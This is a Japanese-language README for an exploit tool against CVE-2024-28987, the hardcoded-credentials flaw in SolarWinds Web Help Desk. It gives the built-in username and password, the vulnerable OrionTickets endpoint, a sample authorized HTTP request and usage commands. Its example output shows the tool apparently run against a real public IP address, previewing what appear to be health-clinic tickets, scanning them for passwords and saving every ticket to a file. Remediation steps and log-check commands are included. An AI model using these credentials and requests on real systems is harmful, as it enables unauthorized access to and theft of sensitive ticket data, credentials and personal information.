
CVE-2024-28987 — Updated!
**CVE-2024-28987** は、SolarWinds Web Help Desk (WHD) における重大な脆弱性であり、リモートの攻撃者が **ハードコードされた認証情報** を使用して機密のチケット情報にアクセスできるようになります。この脆弱性の **CVSS スコアは 9.1 (Critical)** であり、現在実際に悪用されています。
CVE-2024-28987 - SolarWinds Web Help Desk ハードコードされた資格情報エクスプロイト
⚠️ 免責事項: このツールは教育目的および許可を受けたセキュリティテスト専用です。コンピュータシステムへの不正アクセスは違法です。このツールは、自分が所有するシステム、または明示的なテスト許可を得たシステムでのみ使用してください。
📋 概要
CVE-2024-28987 は、SolarWinds Web Help Desk(WHD)における重大な脆弱性であり、リモートの攻撃者がハードコードされた資格情報を使用して機密のチケット情報にアクセスできるようにするものです。この脆弱性のCVSSスコアは9.1(Critical) で、現在も実際の環境で活発に悪用されています。
脆弱性の詳細
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2024-28987 |
| CVSS スコア | 9.1 (Critical) |
| CWE | CWE-798(ハードコードされた資格情報) |
| 影響を受ける製品 | SolarWinds Web Help Desk ≤ 12.8.3 Hotfix 1 |
| 修正バージョン | 12.8.3 Hotfix 2 |
| 悪用状況 | 実際の環境で活発に悪用中 |
| CISA KEV への追加日 | 2024年10月15日 |
影響
認証されていない攻撃者は以下を行うことができます:
- 機密情報を含むすべてのサポートチケットにアクセス
- 一時パスワード、リセット要求、共有サービスの資格情報を閲覧
/OrionTicketsエンドポイントを介してチケットのCRUD操作を実行- ネットワーク内の他のシステムへの横展開(ピボット)の可能性
🔧 機能
- ✅ 自動脆弱性検出 - ハードコードされた資格情報をテストします
- ✅ チケット抽出 - 脆弱なシステムからすべてのチケットを取得します
- ✅ 機密データスキャン - パスワード、資格情報、PII、医療データを識別します
- ✅ 複数の出力形式 - 大規模データセット向けのJSONおよびJSONL
- ✅ 対話型プレビュー - 抽出前に最初の3件のチケットを表示します
- ✅ 依存関係ゼロ - Python標準ライブラリのみを使用
- ✅ カラフルな出力 - ANSIカラーで可読性を向上
- ✅ エラーハンドリング - 接続エラーを適切に処理
🚀 クイックスタート
前提条件
- Python 3.6 以上
- 外部依存関係は不要です!
インストール
# Clone the repository
git clone https://github.com/Darabium/CVE-2024-28987.git
cd CVE-2024-28987
# Make the script executable
Usage
bash
# With target URL as argument
python3 cve-2024-28987.py http://target-ip:port
# Interactive mode (will prompt for target)
python3 cve-2024-28987.py
# Example with a vulnerable target
python3 cve-2024-28987.py http://192.168.1.100:8098
📊 Output Example
bash
$ python3 cve-2024-28987.py http://138.94.193.65:8098
╔══════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██╗ ██╗███████╗ ║
║ ██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗██║ ██║██╔════╝ ║
║ ██║ ██║ ██║█████╗ █████╔╝██║██╔██║███████║█████╗ ║
║ ██║ ╚██╗ ██╔╝██╔══╝ ██╔═══╝ ████╔╝██║██╔══██║██╔══╝ ║
║ ╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝██║ ██║███████╗ ║
║ ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝ ║
║ ║
║ CVE-2024-28987 - SolarWinds Web Help Desk ║
║ Hardcoded Credentials Vulnerability ║
║ ║
╠══════════════════════════════════════════════════════════════════╣
║ GitHub: https://github.com/Darabium ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking http://****:**/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
[+] Target is VULNERABLE!
[+] Found 42 tickets
======================================================================
[📋] Ticket Preview (First 3 tickets)
======================================================================
Ticket #1
├── ID: 5690
├── Client: UBS Portao Vermelho
├── Status: Open
├── Detail: BOA TARDE ENCAMINHO SOLICITAÇÃO DE MATERIAIS DA ODONTO
Ticket #2
├── ID: 5691
├── Client: UBS Centro
├── Status: In Progress
├── Detail: ALCOOL 70% - Solicitação de material de limpeza
======================================================================
[🔐] Scanning for Sensitive Data
======================================================================
[!] Potential PASSWORD data found in ticket #5723
└── detail: Please reset my password for system access...
[?] Do you want to extract ALL tickets to file? [y/N]: y
[*] Saving to: 138_94_193_65_8098_tickets.json
[✓] Successfully saved 138_94_193_65_8098_tickets.json
[*] File size: 42,847 bytes
[*] Total tickets: 42
[*] Done!
GitHub: https://github.com/Darabium
📁 ファイル構造
CVE-2024-28987/
├── cve-2024-28987.py # メインのエクスプロイトスクリプト
├── README.md # このファイル
└── LICENSE # MITライセンス
出力ファイル
チケットを抽出すると、以下のファイルが作成されます:
標準JSON形式(常に作成されます)
138_94_193_65_8098_tickets.json
JSONL形式(100件を超える場合に作成されます)
***_tickets.jsonl
🔍 技術詳細
ハードコードされた資格情報
USERNAME = "helpdeskIntegrationUser"
PASSWORD = "dev-C4F8025E7"
影響を受けるエンドポイント
/helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/
サンプルHTTPリクエスト
GET /helpdesk/WebObjects/Helpdesk.woa/ra/OrionTickets/ HTTP/1.1
Host: vulnerable-target:8098
Authorization: Basic aGVscGRlc2tJbnRlZ3JhdGlvblVzZXI6ZGV2LUM0ZjgwMjVFNw==
Content-Type: application/x-www-form-urlencoded
🛡️ 修復策
今すぐ実施すべき対応
- SolarWinds Web Help Desk バージョン 12.8.3 Hotfix 2 以降に直ちに更新する
/OrionTicketsエンドポイントへの不審なアクセスがないかログを確認する- チケットデータへの不正アクセスを監視する
- チケット内で露出した可能性のあるすべての資格情報をリセットする
- データ漏えいの可能性がないかすべてのサポートチケットを確認する
検出コマンド
# Check for exploitation attempts in logs
grep -i "OrionTickets" /var/log/webhelpdesk/access.log
# Check for unauthorized access patterns
grep -i "helpdeskIntegrationUser" /var/log/webhelpdesk/access.log
# Check current version
cat /opt/WebHelpDesk/version.txt
🚨 CISA KEV 勧告
この脆弱性は、CISAのKnown Exploited Vulnerabilities(KEV)カタログに追加されました。組織は指定された期限までにパッチを適用することが義務付けられています。
追加日:2024年10月15日
必要な対応:ベンダーの指示に従ってアップデートを適用してください
期限:2024年11月5日(21日間)
📚 参照
NVD CVE-2024-28987
CISA KEV カタログ
SolarWinds セキュリティアドバイザリ
PEP 668 - 外部環境管理
🤝 コントリビューション
コントリビューションを歓迎します!プルリクエストやイシューはお気軽にご提出ください。
ガイドライン
- リポジトリをフォークします
- 機能ブランチを作成します(git checkout -b feature/AmazingFeature)
- 変更をコミットします(git commit -m 'Add some AmazingFeature')
- ブランチにプッシュします(git push origin feature/AmazingFeature)
- プルリクエストを開きます
📝 ライセンス
このプロジェクトはMITライセンスの下で提供されています。詳細はLICENSEファイルを参照してください。
⚡ 著者
Darabium - 初期開発 - GitHub
⚠️ 重要な注意事項
- このツールはセキュリティ研究および教育目的を意図しています
- 所有していないシステム、または明示的なテスト許可を得ていないシステムでは使用しないでください
- このツールの誤用について、著者は一切責任を負いません
- 常に責任ある開示(responsible disclosure)の慣行に従ってください
- お住まいの管轄区域のプライバシーおよびデータ保護法を尊重してください
🌟 スター履歴
このツールが役立つと思われた場合は、GitHubで⭐をお願いします!
📞 サポート
- バグ報告はGitHubでイシューを開いてください
- セキュリティ上の懸念については、GitHub経由で直接ご連絡ください
Darabium のために ❤️ を込めて制作